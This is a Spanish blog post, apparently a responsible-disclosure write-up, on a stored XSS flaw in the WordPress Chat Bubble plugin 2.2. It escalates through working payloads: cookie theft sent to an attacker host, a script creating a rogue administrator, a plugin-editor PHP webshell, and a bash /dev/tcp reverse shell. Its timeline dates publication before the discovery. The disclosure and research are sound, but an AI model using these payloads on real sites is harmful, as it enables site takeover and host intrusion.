Allá por Agosto del pasado año (2022) tuve la oportunidad de llegar, «jugar«, entretenerme e identificar una vulnerabilidad bastante popular desde hace algunos años, el Top 10 de OWASP así lo atestigua. Se trata del Cross-Site Scripting (XSS), que en este caso, más allá de ser fácilmente explotable, ya que no cuento con ningún tipo de mecanismo de control que deba evadir, me resultó curioso el abanico de posibilidades que podía obtener de su explotación, empezando desde un XSS almacenado o persistente básico (usando el típico payload que nos enseñan en la «escuela»: <script>alert(1)</script>), la identificación de la modalidad «Blind», tomando acceso no autorizado a la aplicación web (en este caso una instancia WordPress) y llegando incluso hasta la intrusión remota al host mediante JavaScript (efectivamente RCE). Revisaremos el día de hoy todos estos vectores y posibilidades de forma detallada (abajo del post dejo el vídeo que remití al fabricante para que se comprenda y evidencie mi reporte):

Chat Bubble es un plugin de WordPress desarrollado por la empresa vietnamita Blue Coral, esta sirve para incorporar «burbujas» de contacto a nuestro sitio web y la misma permite la integración de diversas redes sociales de mensajería conocidas.

Para reproducir esta vulnerabilidad que fue identificada en la versión 2.2, basta con descargar (os dejo el enlace en las referencias), instalar y activar dicha versión en nuestro CMS (por favor, hacerlo en un entorno controlado). Luego en las configuraciones tendremos que habilitar la vista de la burbuja del chat.

Adicionalmente y para las pruebas emplearé la de tipo «Simple CallBack»:

Que presentará el siguiente aspecto en nuestra página web de WordPress:

Como se observa tendremos un formulario bastante «simplón», cuya funcionalidad no va mucho más allá de su cometido, es decir, simplemente recoge datos (en este caso nombre y teléfono):

Una vez enviados dichos datos, estos son escritos en la base de datos y presentados al administrador en la sección titulada «Callback», inicialmente agrupados en la siguiente tabla (y con el siguiente resumen/asunto):

Luego si el administrador ya decide visualizar todo el mensaje recibido, al pinchar sobre el anterior titulo, podrá obtener la siguiente vista (en donde aparecerá los datos llenados por el visitante):

¿Cuál es el problema aquí? ¿Lo estáis viendo verdad?

Validación de inyección HTML

Una de las primeras pruebas que podríamos hacer es validar si la inserción de datos del usuario se encuentra sanitizada, para ello podremos tirar de etiquetas básicas de HTML:

Para validar el comportamiento de la aplicación web ante estas pruebas, iremos a revisar el mensaje desde el perfil del administrador:

Efectivamente, el código HTML es interpretado por la aplicación web desde el navegador.

Explotación de Cross-Site Scripting Almacenado

Inmediatamente después podríamos validar la inserción de código JavaScript:

Observamos que de igual forma, estas etiquetas también son interpretadas sin restricción aparente.

Otra validación que podría ser interesante de hacer es la de intentar compartir un recurso desde el host del atacante, para ello podremos tirar de una etiqueta como:

<img src="http://localhost:4455/x.jpg">

Veamos como responde la aplicación web a la inserción de esta etiqueta img:

No es necesario indicar un recurso existente para validar la interacción de la aplicación web con el host del «atacante»:

Robo de cookie de sesión

En algún que otro post pasado ya hemos empleado un payload como el siguiente para conseguir este propósito:

<script> var i = new Image(); i.src="http://localhost:4455/cookies.php?result="+document.cookie; </script>

Observemos la inserción efectiva del payload:

La potencial víctima, en este caso el administrador, al visitar el mensaje «entregará» sus cookies de sesión, si éstas no se encuentran protegidas:

Creación de cuenta administrativa

Dada las protecciones actuales de las aplicaciones web modernas y en este caso de WordPress, gracias a sus cabeceras y configuraciones de seguridad estándar que prácticamente ya vienen preestablecidas, es posible que el robo de cookie de sesión a día de hoy ya no sea efectiva, por tanto ahora revisaremos un vector que resulta interesante de explotar cuando disponemos de un escenario como este. Para ello emplearemos la siguiente carga útil:

<script src=http://localhost:4455/payload.js></script>

Lo que contendrá el fichero JS será:

u="/wp-admin/user-new.php";jQuery.get(u,function(e){jQuery.post(u,{action:"createuser","_wpnonce_create-user":e.match(/_wpnonce_create-user\"\svalue=\"(.+?)\"/)[1],user_login:"attacker",email:"attacker@evil.lol",pass1:"pass",pass2:"pass",role:"administrator"})});

Con esto pretenderemos que un nuevo usuario con perfil de administrador de WordPress sea dado de alta. Para la prueba inicialmente partimos con esta vista:

La inserción del payload se vería así:

Mientras que desde el host del atacante se obtendría la siguiente llamada cuando la víctima acceda al mensaje especialmente diseñado:

De marchar todo como se espera, efectivamente el atacante conseguirá el alta de un nuevo usuario arbitrario con perfil de administrador.

Esta técnica recuerdo conocerla por primera vez en un post llamado: «The impact of an XSS vulnerability on WordPress: How hackers exploit XSS vulnerabilities to create admin accounts on your blog.«

Ejecución de comando mediante backdoor

Para ello emplearé el plugin adicional «Classic Editor» que no es necesario que esté activado o también puedo usar algún otro plugin como alternativa:

El payload que emplearé:

<script src=http://localhost:4455/exploit.js></script>

El contenido base en este caso del fichero JS es:

u = "/wp-admin/plugin-editor.php"
p = "file=classic-editor%2Fclassic-editor.php&plugin=classic-editor%2Fclassic-editor.php"
var x = new XMLHttpRequest();
var r=0
x.open('GET',u+"?"+ p,1);
x.send(null);

x.onreadystatechange = function() {
    if (x.readyState === 4 && r != 1) {
    n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]
    x.open("POST", u, 1)
    x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    x.send(p + "&nonce="  + n + "&newcontent=%3C%3Fphp%20system%28%24%5FGET%5B%27cmd%27%5D%29%3B%20%3F%3E&action=edit-theme-plugin-file")
    r = 1
    } else {
    fetch('/wp-content/plugins/classic-editor/classic-editor.php')
    }
}

En donde el principalmente elemento será la siguiente cadena que debe ir codificada en URL:

%3C%3Fphp%20system%28%24%5FGET%5B%27cmd%27%5D%29%3B%20%3F%3E
<?php system($_GET['cmd']); ?>

Observamos que el payload fue insertado en la aplicación web:

La llamada en el host del atacante se ha producido satisfactoriamente:

Para tener una comparativa evidente del cambio del contenido del fichero editado (classic-editor.php) observemos sus valores en MD5:

Finalmente el atacante podrá aprovechar esta backdoor desde su navegador:

Establecimiento de conexión e intrusión (reverse shell)

Dada las condiciones propicias, un potencial atacante podría tener el interés de ganar acceso directo al host de la victima y para ello se puede apoyar en técnicas como esta. Veamos como ejecutar:

<script src=http://localhost:4455/exploit2.js></script>

Emplearé la base del fichero JS anterior, con la principal diferencia del siguiente fragmento, que además será acorde al objetivo (reverse shell):

%3C%3Fphp%20exec%28%22%2Fbin%2Fbash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F172%2E20%2E0%2E1%2F443%200%3E%261%27%22%29%3B%20%3F%3E
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/172.20.0.1/443 0>&1'"); ?>

Una vez más validamos que la inserción es interpretada por la aplicación web una vez que el administrador (víctima) visualiza el mensaje recibido:

En el host del atacante se genera el siguiente registro cuando sucede lo anterior:

Observemos el cambio del fichero classic-editor.php mediante el valor del MD5:

El punto álgido para nosotros como CTF prayer o para un atacante será obtener una vista como la siguiente, que refleja la intrusión en el host de la víctima:

Si durante una labor forense o la revisión de rastros observamos un fichero como este, considerémonos fastidiados, es probable que un atacante viva o haya vivido con nosotros.

Prueba de concepto (PoC)

Para quien prefiera ver todo esto en formato vídeo, por aquí el clip:

Dejo por aquí un resumen del timelime del descubrimiento:

Timeline

  • 2022/08/17: Descubrimiento de la vulnerabilidad
  • 2022/08/22: Notificación y reporte al fabricante
  • 2022/10/03: Solicitud de CVE a WPScan
  • 2022/10/06: Contacto con el fabricante por parte de WPScan
  • 2022/10/18: Asignación de CVE por parte de WPScan
  • 2022/03/28: Publicación del post

Referencias